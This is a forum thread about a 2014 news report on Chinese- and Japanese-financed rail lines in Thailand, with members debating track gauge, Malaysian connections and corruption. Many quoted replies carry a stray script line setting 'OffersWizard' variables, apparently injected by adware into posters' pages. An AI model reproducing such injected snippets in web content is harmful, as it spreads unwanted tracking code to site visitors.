Thais on right track with rail expansion

[webfact]

ANALYSIS
Thais on right track with rail expansion
The Straits Times/ANN

BANGKOK: -- If anything is unfinished business in Thailand and its neighbourhood, it is rail. The Greater Mekong Sub-region has more than 860,000km of roads, but less than 19,000km of railways.

The length of the road network has grown by more than 37 per cent since 2005, but the length of rail by just 10 per cent since 2001.

Now, China is going to finance two separate lines in Thailand, starting in 2016. And Thailand is turning to Japan to help with three new lines connecting Bangkok with the rest of the country.

Combined, the plans could see Thailand’s creaky, loss-making, narrow-gauge railway system catch up with the rest of the world. Analysts have applauded this, but with residual scepticism.

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Political turmoil, changes of government and, above all, bureaucracy, have delayed the plans.

In an agreement signed last weekend in Bangkok, to smiles from Thai Prime Minister Prayuth Chan-ocha and Chinese Premier Li Keqiang, China will in effect build Thailand’s first standard-gauge tracks.

One route covering 734km will run from Nong Khai province on the border with Vientiane in Laos, to the Map Ta Phut deep-sea port in Thailand’s Rayong province. The second, 133km line will connect Bangkok with the first line at Kaeng Khoi district in Saraburi province.

Also at the weekend, Thai Transport Minister Prajin Junthong said Bangkok would look to Japan to help build three separate lines. Two will connect the Thai-Myanmar border to the Thai-Laos border and also with Rayong; the third will run from Bangkok to the northern city of Chiang Mai.

The lines built by China have to be seen in the context of Laos, where China wants to finance and build a railway line connecting its southern border with the Thai border at Nong Khai. This offers China seamless rail connectivity to the Gulf of Thailand.

But according to reports, the Lao line will cost US$7.2 billion, and there remain doubts over the financing of such a huge sum.

For Thailand, questions remain over connectivity; the country’s system is metre gauge, while the new lines by China will be a broader, standard gauge. The specifications of the new internal lines to be developed with Japan will not be clear until the actual agreements are made.

Connectivity between different transport modes, and how new railway lines would support development, did not seem to figure in the government’s discussions, said Dr Ruth Banomyong, head of the department of international business, logistics and transport at Bangkok’s Thammasat University.

Whether the new railway projects will create jobs in Thailand and for whom, is a looming question as well. Thailand already has more than a million - some estimates range up to three million - migrant workers, mostly from Myanmar and Cambodia. Bringing in Chinese labour - as has been done for Chinese projects in Sri Lanka and Africa - would be unprecedented for Thailand, said Professor Saksith.

Another question is whether the developments will extend China’s reach, converting mainland Southeast Asia into a vast Chinese backyard. Hence the effort, analysts say, to keep Japan willingly engaged as well.

Certainly, investing in Thailand’s railway network is overdue. With no incentive to upgrade, the state railway has a cumulative debt of nearly 100 billion baht (US$3.04 billion), said Professor Saksith. Even given the new plans, he was not particularly optimistic. But he acknowledged that "putting the emphasis on rail is heading in the right direction".

Source: http://www.nationmultimedia.com/business/Thais-on-right-track-with-rail-expansion-30250470.html


-- The Nation 2014-12-23

[JOC]

_{"Thais on right track with rail expansion"}

_{A century late!!}

[BritTim]

On the right track? I thought a major reason for the new initiative is that Thailand is currently on the wrong (narrow-gauge) track!

[worgeordie]

Now if they had been colonized by Great Britain,they would

have had a proper widespread rail system,and a proper

justice system.

regards Worgeordie

[Robby nz]

Ground has already been broken on the Lao - Vietnam part which is contracted to a Malaysian company.

http://www.rfa.org/english/news/laos/railway-01032014153336.html

OK for those who decry the Chinese involvement tell us who ?

Clear Thailand cant afford to do it alone without massive borrowing and imported expertise, rolling stock and technology.

[chainarong]

We shall see whether Thailand is on the right track at a later date , in the meantime lets see the fun the Chinese will cause when they bring in their own labour and supply back -up and leave the Thai's out in the cold , TV will be full daily of complaints kindly submitted by the "Nation", lets see who is on the right track then.

[SpaceKadet]

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

[whybother]

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

There are plans for it, but a bit over the horizon.

[ExPratt]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

The Pedang Basar Border crossing has huge freight traffic , for some reason the new project in Malaysia is 1 metre gauge so anything coming into it form Thailand will have to be the same. You can get dual gauge rolling stock but expensive

[sprq]

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Funny thing, I realised the whole system needed expanding and modernising the first time I lived in Thailand three decades ago.

This report could also do with clarifying which lines are to be high-speed - the Chinese-built ones as Far as I know - and which are to be normal.

[whybother]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

The Pedang Basar Border crossing has huge freight traffic , for some reason the new project in Malaysia is 1 metre gauge so anything coming into it form Thailand will have to be the same. You can get dual gauge rolling stock but expensive

From an earlier thread, I was under the impression that Malaysia are upgrading a couple of their main lines to standard gauge.

[smileydude]

The question is what are the Chinese asking in return for this agreement?

Even if the Thai government is footing the entire bill there usually are give and takes in these kind of G to G agreements.

Past rumors were that if the Chinese were to invest they would have property rights in a 3 km radius of the tracks to develop at will.

Shrewd move on part of the Thai government playing the Chinese against the Japanese card.

Neither country wants the other to have the upper hand in doing business in the region.

[ExPratt]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

The Pedang Basar Border crossing has huge freight traffic , for some reason the new project in Malaysia is 1 metre gauge so anything coming into it form Thailand will have to be the same. You can get dual gauge rolling stock but expensive

From an earlier thread, I was under the impression that Malaysia are upgrading a couple of their main lines to standard gauge.

Nope , absolutely not, the whole new network is 1 metre gauge

[whybother]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

The Pedang Basar Border crossing has huge freight traffic , for some reason the new project in Malaysia is 1 metre gauge so anything coming into it form Thailand will have to be the same. You can get dual gauge rolling stock but expensive

From an earlier thread, I was under the impression that Malaysia are upgrading a couple of their main lines to standard gauge.

Nope , absolutely not, the whole new network is 1 metre gauge

Probably by the time Thailand puts a new line down to Malaysia, Malaysia will have upgraded the line to standard gauge.

[Estrada]

f

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Funny thing, I realised the whole system needed expanding and modernising the first time I lived in Thailand three decades ago.

This report could also do with clarifying which lines are to be high-speed - the Chinese-built ones as Far as I know - and which are to be normal.

Obviously Saksith was never taught History. The Military Governments of 30years ago recognised the need for better roads and transport links. They came up with the Hopewell Scheme and the Generals awarded the contract to Hopewell in 1990 without any EIA or feasability study. During construction there were 9 changes of government. This was cancelled in 1997 when Gordon Wu got fed up, as each change brought fresh requests for "lubrication" from politicians.

All the standard gauge railways, such as being built by the Chinese can accomodate locomotives doing 235KPH. But to start with the rolling stock will run at up to 160-180KPH. Existing SRT rolling stock is capable of this speed except not on the existing 1 metre gauge. The purpose of the Chinese Investment is mainly to create a new "Silk Road" which will take freight by rail faster than by ship, from China via Laos to Laem Cha Bang Port and then by sea across to the Hua Hin side of Thailand and through the Kra Isthmus Canal to be built also by the Chinese. Thus bypassing the Straits of Singapore.

My recommendation has been that all lines be standard gauge and that appears to be the future. All MRT, BTS and SRT new lines are 1.435m standard gauge already.

Edited December 23, 2014 by Estrada

[Ricardo]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

Interresting. So still no plans to upgrade the Southern Railroad to Malaysian border... No major shipping ports for China down here, huh?

The Pedang Basar Border crossing has huge freight traffic , for some reason the new project in Malaysia is 1 metre gauge so anything coming into it form Thailand will have to be the same. You can get dual gauge rolling stock but expensive

From an earlier thread, I was under the impression that Malaysia are upgrading a couple of their main lines to standard gauge.

Nope , absolutely not, the whole new network is 1 metre gauge

Thanks !

So any Thai upgrade from the Malaysian border therefore needs to be 1-metre & double-track, to interchange eventually somewhere in the Bangkok-area, with the planned spur off the new Chinese-built medium-speed freight-line to the Thai ports ?

Indeed aren't the SRT already planning the double-tracking in-stages, from Bangkok to Padang Besar ?

Perhaps makes better sense than an interchange much further North, which IIRC was mulled earlier this year, to the now-apparently-dropped second standard-gauge line via Chiang Rai & Chang Kong.

[ExPratt]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

f

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Funny thing, I realised the whole system needed expanding and modernising the first time I lived in Thailand three decades ago.

This report could also do with clarifying which lines are to be high-speed - the Chinese-built ones as Far as I know - and which are to be normal.

Obviously Saksith was never taught History. The Military Governments of 30years ago recognised the need for better roads and transport links. They came up with the Hopewell Scheme and the Generals awarded the contract to Hopewell in 1990 without any EIA or feasability study. During construction there were 9 changes of government. This was cancelled in 1997 when Gordon Wu got fed up, as each change brought fresh requests for "lubrication" from politicians.

All the standard gauge railways, such as being built by the Chinese can accomodate locomotives doing 235KPH. But to start with the rolling stock will run at up to 160-180KPH. Existing SRT rolling stock is capable of this speed except not on the existing 1 metre gauge. The purpose of the Chinese Investment is mainly to create a new "Silk Road" which will take freight by rail faster than by ship, from China via Laos to Laem Cha Bang Port and then by sea across to the Hua Hin side of Thailand and through the Kra Isthmus Canal to be built also by the Chinese. Thus bypassing the Straits of Singapore.

My recommendation has been that all lines be standard gauge and that appears to be the future. All MRT, BTS and SRT new lines are 1.435m standard gauge already.

SRT have standard gauge rolling stock capable of 180kph ?/ 160-180 on 1 metre gauge is pretty much High speed for that track

[trainman34014]

''But Governments have been slow''. Governments haven't been slow to fill their own pockets though have they ? Now we wait too see how much gets skimmed off this lot because anyone who thinks that it will be a transparent and honest process must be deluded !

[Estrada]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

f

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Funny thing, I realised the whole system needed expanding and modernising the first time I lived in Thailand three decades ago.

This report could also do with clarifying which lines are to be high-speed - the Chinese-built ones as Far as I know - and which are to be normal.

Obviously Saksith was never taught History. The Military Governments of 30years ago recognised the need for better roads and transport links. They came up with the Hopewell Scheme and the Generals awarded the contract to Hopewell in 1990 without any EIA or feasability study. During construction there were 9 changes of government. This was cancelled in 1997 when Gordon Wu got fed up, as each change brought fresh requests for "lubrication" from politicians.

All the standard gauge railways, such as being built by the Chinese can accomodate locomotives doing 235KPH. But to start with the rolling stock will run at up to 160-180KPH. Existing SRT rolling stock is capable of this speed except not on the existing 1 metre gauge. The purpose of the Chinese Investment is mainly to create a new "Silk Road" which will take freight by rail faster than by ship, from China via Laos to Laem Cha Bang Port and then by sea across to the Hua Hin side of Thailand and through the Kra Isthmus Canal to be built also by the Chinese. Thus bypassing the Straits of Singapore.

My recommendation has been that all lines be standard gauge and that appears to be the future. All MRT, BTS and SRT new lines are 1.435m standard gauge already.

SRT have standard gauge rolling stock capable of 180kph ?/ 160-180 on 1 metre gauge is pretty much High speed for that track

I was talking about standard gauge track and using existing rolling stock. SRT Airport link trains run at 160kph on standard gauge track. Their British Rail Sprinters can do 140kph but not on the existing 1 metre gauge, the boggies will need to be changed of course. In the UK in the 1930s we had steam trains running on standard track doing 200kph. Thailand made the mistake of changing its railway system already built from Bangkok to Changmai from standard gauge to metre gauge nearly one hundred years ago. So what we have in Thailand is a fully operational Museum Railway System.

[Gentmartin]

On the previous thread, I had thought the new west coast upgrade in Malaysia was standard gauge but i was wrong, its still 1m gauge. The malaysians, in a report 3 years ago said however, the NEXT Upgrade, by 2030 will be standard gauge because as many have pointed out, to get truly high speed, standard gauge is a necessity.

The new rail route announced the other day IS Standard gauge thus making it more pointless for Thailands sake at the moment and shows the chinese trying to put the Malaysians noses out of joint.

Hopefully next year, when ASEAN gets truly sorted and up and running, one of the first things to do will be to set up a railways committee to look at standardisation across ASean and the building of a fully integrated network which in my opinion is vital for Aseans economic development......of course, they could simply just keep relying on the chinese.....

As usual with big infrastructure projects here, a total shambles sadly :-(

Edited December 23, 2014 by Gentmartin

[slipperylobster]

Now if they had been colonized by Great Britain,they would

have had a proper widespread rail system,and a proper

justice system.

regards Worgeordie

..and much larger teeth !

[dominique355]

Building these tracks is a step in the right direction, but it's just a step. Even if the tracks are built and there are engines and cars running on it, how will the truck owners and logistic business people be convinced to scrap their trucks and ship their cargo by train?

They are not simply going to disappear. Will the government put a heavy tax on truck operators to "encourage" a switch to the train?

And when the freight trains have reached their destination, how will the freight be distributed? Trucks again?

There are still a lot of problems to solve. To don't open the Champagne just now.

[philw]

So Yingluck's government was right after all.

[whybother]

So Yingluck's government was right after all.

No. Their plan was to initially put a high speed (ie 250-300kmh, not 150-200kmh) passenger line up to Chiang Mai.

http://www.thaivisa.com/forum/topic/614432-transport-ministry-to-proceed-with-bangkok-chiang-mai-high-speed-rail-project/

Edited December 23, 2014 by whybother

[rametindallas]

Building these tracks is a step in the right direction, but it's just a step. Even if the tracks are built and there are engines and cars running on it, how will the truck owners and logistic business people be convinced to scrap their trucks and ship their cargo by train?

They are not simply going to disappear. Will the government put a heavy tax on truck operators to "encourage" a switch to the train?

And when the freight trains have reached their destination, how will the freight be distributed? Trucks again?

There are still a lot of problems to solve. To don't open the Champagne just now.

Economics will take care of everything nicely. It costs four times as much to ship by truck so there will be trucking business only where there is no train service. Trucking companies that can't adjust/downsize, will go out of business. The hardest part for the government is not to cave to the trucking lobby and subsidize them.

[rametindallas]

So Yingluck's government was right after all.

No. Their plan was to initially put a high speed (ie 250-300kmh, not 150-200kmh) passenger line up to Chiang Mai.

http://www.thaivisa.com/forum/topic/614432-transport-ministry-to-proceed-with-bangkok-chiang-mai-high-speed-rail-project/

passenger line up to Chiang Mai.

...but only fund the first (easy) half. Classic boondoggle.

[ExPratt]

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=10453;window.__wsujsn='OffersWizard';window.__wsujss='4A56245FF3AA1DF0AB17D4C55179F65F';} </script>

f

"It was realised about 10 years ago that we need to invest in rail to reduce transport costs, but governments have been slow," said academic Saksith Chalermpong of the department of civil engineering at Bangkok’s Chulalongkorn University.

Funny thing, I realised the whole system needed expanding and modernising the first time I lived in Thailand three decades ago.

This report could also do with clarifying which lines are to be high-speed - the Chinese-built ones as Far as I know - and which are to be normal.

Obviously Saksith was never taught History. The Military Governments of 30years ago recognised the need for better roads and transport links. They came up with the Hopewell Scheme and the Generals awarded the contract to Hopewell in 1990 without any EIA or feasability study. During construction there were 9 changes of government. This was cancelled in 1997 when Gordon Wu got fed up, as each change brought fresh requests for "lubrication" from politicians.

All the standard gauge railways, such as being built by the Chinese can accomodate locomotives doing 235KPH. But to start with the rolling stock will run at up to 160-180KPH. Existing SRT rolling stock is capable of this speed except not on the existing 1 metre gauge. The purpose of the Chinese Investment is mainly to create a new "Silk Road" which will take freight by rail faster than by ship, from China via Laos to Laem Cha Bang Port and then by sea across to the Hua Hin side of Thailand and through the Kra Isthmus Canal to be built also by the Chinese. Thus bypassing the Straits of Singapore.

My recommendation has been that all lines be standard gauge and that appears to be the future. All MRT, BTS and SRT new lines are 1.435m standard gauge already.

SRT have standard gauge rolling stock capable of 180kph ?/ 160-180 on 1 metre gauge is pretty much High speed for that track

I was talking about standard gauge track and using existing rolling stock. SRT Airport link trains run at 160kph on standard gauge track. Their British Rail Sprinters can do 140kph but not on the existing 1 metre gauge, the boggies will need to be changed of course. In the UK in the 1930s we had steam trains running on standard track doing 200kph. Thailand made the mistake of changing its railway system already built from Bangkok to Changmai from standard gauge to metre gauge nearly one hundred years ago. So what we have in Thailand is a fully operational Museum Railway System.

Ok I'm with you, run the modified rolling stock until the new arrives after completion. One thing I'm curious about is the alignment of the new Railway. If new alignment then easier to build but far more expensive due to land acquisitions and probably more Civils. If built in and next to the old alignment it is far more problematic as you need to keep a service running , if the new build was 1m gauge (Same as existing) then it is easy enough to set up TTDs (Temprorary track diversions, you just route the train off of the road you want to work on but with Standard gauge it gets more complicated, Perhaps dual gauge sleepers can be used but its a messy way on doing it.

[connda]

I see this is for commerce and screw tourism. Chiang Mai? Chaing Rai. Mai Sai Phpppppp! No benefit to China, forget it.

Edited December 24, 2014 by connda

[whybother]

I see this is for commerce and screw tourism. Chiang Mai? Chaing Rai. Mai Sai Phpppppp! No benefit to China, forget it.

Yeah. They should build new rail lines to make it more fun for a few tourists. Screw the economy.

[Ricardo]

So Yingluck's government was right after all.

Not really, Yingluck/PTP/Thaksin's plan was for a Thai-domestic passenger-only high-speed network, hubbed in Bangkok. This was understandably popular at election-time with the Thai voters.

But nothing got built, a bit like the brave promises (dating back to 2006 !) regarding expansion at Swampy, all just hot air & words ! IIRC the then-PM was proposing a LCC-terminal and a third runway, before the new airport even opened, and successive governments have kept up the steady stream of hollow promises.

But the Isaan-Darling knew what would be in the onboard lunch-packs, a real bird business-brain at work, there.

The proposal & MOU are now back to what the Chinese wanted, a medium-speed freight-route to the ports, to give them an alternative-route for their expanding exports to supplement their own ports. Which is fine, if they will pay most of the cost of it, as in the latest proposal.

The task is then to try to work out, what possible benefits for Thailand might be incorporated, at relatively-modest extra cost. And to get it all up-and-running.

Things like a medium-speed passenger-service between Bangkok & the North-East, running on the same standard-gauge double-track line, so long as it doesn't delay the freight-trains, or the possibility of Thai exports heading North to China ?

Or feeding freight bound for Malaysia & Singapore into the expanded double-track metre-gauge line running South to Padang Besar, giving China further access, to new countries & ports. But doing it in a less-splashy less-expensive way, to improve the odds on it actually happening.